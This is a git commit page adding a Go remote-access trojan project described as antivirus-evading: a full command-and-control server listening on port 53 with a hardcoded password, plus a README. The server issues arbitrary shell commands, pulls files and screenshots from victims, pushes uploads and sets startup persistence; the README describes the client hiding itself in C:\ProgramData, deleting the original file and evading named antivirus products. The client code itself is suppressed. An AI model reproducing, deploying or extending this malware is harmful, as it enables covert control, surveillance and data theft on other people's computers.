Browse Source

增加写了一款Golang免杀远控项目

master
VIVIMAN 3 years ago
parent
commit
559c68bb07
  1. 310
      golang_learn/data_office/get_v_YuanKong/client.go
  2. 245
      golang_learn/data_office/get_v_YuanKong/server.go
  3. 19
      golang_learn/data_office/get_v_YuanKong/说明.md
  4. 1
      golang_learn/go.mod
  5. 6
      golang_learn/go.sum
  6. 2
      gui_wails02_learn/frontend/src/components/demo.vue

310
golang_learn/data_office/get_v_YuanKong/client.go

File diff suppressed because one or more lines are too long

245
golang_learn/data_office/get_v_YuanKong/server.go

@ -0,0 +1,245 @@
package main
import (
"bufio"
"encoding/base64"
"flag"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
)
const (
WHITE = "\x1b[37;1m"
RED = "\x1b[31;1m"
GREEN = "\x1b[32;1m"
YELLOW = "\x1b[33;1m"
BLUE = "\x1b[34;1m"
MAGENTA = "\x1b[35;1m"
CYAN = "\x1b[36;1m"
VERSION = "2.5.0"
)
var (
inputIP = flag.String("IP", "0.0.0.0", "Listen IP")
inputPort = flag.String("PORT", "53", "Listen Port")
connPwd = flag.String("PWD", "18Sd9fkdkf9", "Connection Password")
counter int //用于会话计数,给map的key使用
connlist map[int]net.Conn = make(map[int]net.Conn) //存储所有连接的会话
connlistIPAddr map[int]string = make(map[int]string) //存储所有IP地址,提供输入标识符显示
lock = &sync.Mutex{}
downloadOutName string
)
func getDateTime() string {
currentTime := time.Now()
// https://golang.org/pkg/time/#example_Time_Format
return currentTime.Format("2006-01-02-15-04-05")
}
// ReadLine 函数等待命令行输入,返回字符串
func ReadLine() string {
buf := bufio.NewReader(os.Stdin)
lin, _, err := buf.ReadLine()
if err != nil {
fmt.Println(RED, "[!] Error to Read Line!")
}
return string(lin)
}
// Socket客户端连接处理程序,专用于接收消息处理
func connection(conn net.Conn) {
defer conn.Close()
var myid int
myip := conn.RemoteAddr().String()
lock.Lock()
counter++
myid = counter
connlist[counter] = conn
connlistIPAddr[counter] = myip
lock.Unlock()
fmt.Printf("--- client: %s connection ---\n", myip)
for {
message, err := bufio.NewReader(conn).ReadString('\n')
//如果客户端断开
if err == io.EOF {
conn.Close()
delete(connlist, myid)
delete(connlistIPAddr, myid)
break
}
decoded, _ := base64.StdEncoding.DecodeString(message)
decMessage := string(decoded)
switch decMessage {
case "download":
//fmt.Println("---收到download指令,等待下一次数据上传---")
// 等待用户上传数据
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Downloading...")
decData, _ := base64.URLEncoding.DecodeString(encData)
downFilePath, _ := filepath.Abs(string(downloadOutName) + getDateTime())
ioutil.WriteFile(downFilePath, []byte(decData), 777)
fmt.Println(GREEN, "-> Download Done...")
case "screenshot":
encData, _ := bufio.NewReader(conn).ReadString('\n')
fmt.Println(YELLOW, "-> Getting ScreenShot...")
decData, _ := base64.URLEncoding.DecodeString(encData)
//filename := myip + getDateTime()+".png"
absFilePath, _ := filepath.Abs(strings.Replace(myip, ":", "_", -1) + getDateTime() + ".png")
ioutil.WriteFile(absFilePath, []byte(decData), 777)
fmt.Printf(GREEN+"-> ScreenShot Done, filename: %s\n", absFilePath)
default:
fmt.Println("\n" + decMessage)
}
}
fmt.Printf("--- %s close---\n", myip)
}
// 等待Socket 客户端连接
func handleConnWait() {
l, err := net.Listen("tcp", *inputIP+":"+*inputPort)
if err != nil {
log.Fatal(err)
}
defer l.Close()
for {
conn, err := l.Accept()
if err != nil {
log.Fatal(err)
}
message, err := bufio.NewReader(conn).ReadString('\n')
decoded, _ := base64.StdEncoding.DecodeString(message)
if string(decoded) == *connPwd {
go connection(conn)
} else {
backMsg := base64.URLEncoding.EncodeToString([]byte("back"))
conn.Write([]byte(backMsg + "\n"))
conn.Close()
}
}
}
func main() {
flag.Parse()
go handleConnWait()
connid := 0
for {
fmt.Print(RED, "SESSION ", connlistIPAddr[connid], WHITE, "> ")
command := ReadLine()
_conn, ok := connlist[connid]
switch command {
case "":
// 如果输入为空,则什么都不做
case "help":
fmt.Println("")
fmt.Println(CYAN, "COMMANDS DESCRIPTION")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println(CYAN, "session 选择在线的客户端")
fmt.Println(CYAN, "download 下载远程文件")
fmt.Println(CYAN, "upload 上传本地文件")
fmt.Println(CYAN, "screenshot 远程桌面截图")
fmt.Println(CYAN, "charset gbk 设置客户端命令行输出编码,gbk是简体中文")
fmt.Println(CYAN, "clear 清楚屏幕")
fmt.Println(CYAN, "exit 客户端下线")
fmt.Println(CYAN, "quit 退出服务器端")
fmt.Println(CYAN, "startup 加入启动项目文件夹")
fmt.Println(CYAN, "-------------------------------------------------------")
fmt.Println("")
case "session":
fmt.Println(connlist)
fmt.Print("选择客户端ID: ")
inputid := ReadLine()
if inputid != "" {
var e error
connid, e = strconv.Atoi(inputid)
if e != nil {
fmt.Println("请输入数字")
} else if _, ok := connlist[connid]; ok {
//如果输入并且存在客户端id
_cmd := base64.URLEncoding.EncodeToString([]byte("getos"))
connlist[connid].Write([]byte(_cmd + "\n"))
}
}
case "clear":
ClearScreen()
case "exit":
if ok {
encDownload := base64.URLEncoding.EncodeToString([]byte("exit"))
_conn.Write([]byte(encDownload + "\n"))
}
case "quit":
os.Exit(0)
case "download":
if ok {
// 第一步,发送下载指令
encDownload := base64.URLEncoding.EncodeToString([]byte("download"))
_conn.Write([]byte(encDownload + "\n"))
// 第二步,输入下载路径和要保存的文件名,发送给客户端
fmt.Print("File Path to Download: ")
nameDownload := ReadLine()
fmt.Print("Output name: ")
downloadOutName = ReadLine()
// 下发需要download的文件名路径, conn连接的协程里面接收
encName := base64.URLEncoding.EncodeToString([]byte(nameDownload))
_conn.Write([]byte(encName + "\n"))
fmt.Print(encName)
}
case "screenshot":
if ok {
encScreenShot := base64.URLEncoding.EncodeToString([]byte("screenshot"))
_conn.Write([]byte(encScreenShot + "\n"))
}
case "upload":
if ok {
encUpload := base64.URLEncoding.EncodeToString([]byte("upload"))
_conn.Write([]byte(encUpload + "\n"))
fmt.Print("File Path to Upload: ")
pathUpload := ReadLine()
fmt.Print("Output name: ")
outputName := ReadLine()
encOutput := base64.URLEncoding.EncodeToString([]byte(outputName))
_conn.Write([]byte(encOutput + getDateTime() + "\n"))
fmt.Println(YELLOW, "-> Uploading...")
//上传文件
file, err := ioutil.ReadFile(pathUpload)
if err != nil {
fmt.Println(RED, "[!] File not found!")
break
}
encData := base64.URLEncoding.EncodeToString(file)
_conn.Write([]byte(string(encData) + "\n"))
fmt.Println(GREEN, "-> Upload Done...")
}
default:
if ok {
_cmd := base64.URLEncoding.EncodeToString([]byte(command))
_conn.Write([]byte(_cmd + "\n"))
}
}
}
}
// ClearScreen 清除屏幕
func ClearScreen() {
cmd := exec.Command("clear")
cmd.Stdout = os.Stdout
cmd.Run()
}

19
golang_learn/data_office/get_v_YuanKong/说明.md

@ -0,0 +1,19 @@
# 一款Golang免杀远控
## 01 工具介绍
由于工作需要,写了一款Golang远控软件,现在也用不上了,开源算了,支持很多功能,如 ”加密传输、截图回传、反向Socks5代理回内网、开机自启“。
当client.exe被点击后,小马会自动复制本身到 ”C:\ProgramData“ 隐藏目录并再次执行,自动删除当前桌面上的Clinet文件。
目前大多数远控软件都基于C++/C#编写的,杀软对这些开发语言很敏感,非常容易就被识别出来了,但使用Golang语言编写的就不一样了,改一改就能过360、火绒、金山、腾讯电脑管家、AVG、等等,如有需要添加其他功能,可以私我哦。
## 02 目前的功能
多用户上线,多用户管理
* 下载远程文件
* 上传本地文件到目标电脑
* 屏幕截图,回传
* 动态设置编码
* 执行系统任意指令
* 安装成服务,实现开机自启[x]
* 反向socks5[x]
* EXE文件捆绑[x]

1
golang_learn/go.mod

@ -18,6 +18,7 @@ require (
github.com/google/uuid v1.1.2
github.com/joho/godotenv v1.3.0
github.com/kardianos/service v1.2.0
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329
github.com/kr/pretty v0.3.0 // indirect
github.com/lxn/walk v0.0.0-20210112085537-c389da54e794
github.com/lxn/win v0.0.0-20210218163916-a377121e959e

6
golang_learn/go.sum

@ -98,6 +98,8 @@ github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWo
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/fyne-io/mobile v0.1.2 h1:0HaXDtOOwyOTn3Umi0uKVCOgJtfX73c6unC4U8i5VZU=
github.com/fyne-io/mobile v0.1.2/go.mod h1:/kOrWrZB6sasLbEy2JIvr4arEzQTXBTZGb3Y96yWbHY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-gl/gl v0.0.0-20190320180904-bf2b1f2f34d7/go.mod h1:482civXOzJJCPzJ4ZOX/pwvXBWSnzD4OKMdH4ClKGbk=
github.com/go-gl/gl v0.0.0-20210813123233-e4099ee2221f h1:s0O46d8fPwk9kU4k1jj76wBquMVETx7uveQD9MCIQoU=
@ -212,6 +214,8 @@ github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/J
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/jackmordaunt/icns v0.0.0-20181231085925-4f16af745526/go.mod h1:UQkeMHVoNcyXYq9otUupF7/h/2tmHlhrS2zw7ZVvUqc=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240 h1:dy+DS31tGEGCsZzB45HmJJNHjur8GDgtRNX9U7HnSX4=
github.com/jezek/xgb v0.0.0-20210312150743-0e0f116e1240/go.mod h1:3P4UH/k22rXyHIJD2w4h2XMqPX4Of/eySEZq9L6wqc4=
github.com/joho/godotenv v1.3.0 h1:Zjp+RcGpHhGlrMbJzXTrZZPrWj+1vfm90La1wgB6Bhc=
github.com/joho/godotenv v1.3.0/go.mod h1:7hK45KPybAkOC6peb+G5yklZfMxEjkZhHbwpqxOKXbg=
github.com/josephspurrier/goversioninfo v0.0.0-20200309025242-14b0ab84c6ca/go.mod h1:eJTEwMjXb7kZ633hO3Ln9mBUCOjX2+FlTljvpl9SYdE=
@ -222,6 +226,8 @@ github.com/jtolds/gls v4.20.0+incompatible h1:xdiiI2gbIgH/gLH7ADydsJ1uDOEzR8yvV7
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/kardianos/service v1.2.0 h1:bGuZ/epo3vrt8IPC7mnKQolqFeYJb7Cs8Rk4PSOBB/g=
github.com/kardianos/service v1.2.0/go.mod h1:CIMRFEJVL+0DS1a3Nx06NaMn4Dz63Ng6O7dl0qH0zVM=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329 h1:qq2nCpSrXrmvDGRxW0ruW9BVEV1CN2a9YDOExdt+U0o=
github.com/kbinani/screenshot v0.0.0-20210720154843-7d3a670d8329/go.mod h1:2VPVQDR4wO7KXHwP+DAypEy67rXf+okUx2zjgpCxZw4=
github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg=

2
gui_wails02_learn/frontend/src/components/demo.vue

@ -102,8 +102,6 @@ export default {
msg: '加载中',
loading: false,
f_formSET: {
// women_gbtxnl:'',
// men_gbtxnl:'',
women_txnl: '',
men_txnl: '',
probation: '',

Loading…
Cancel
Save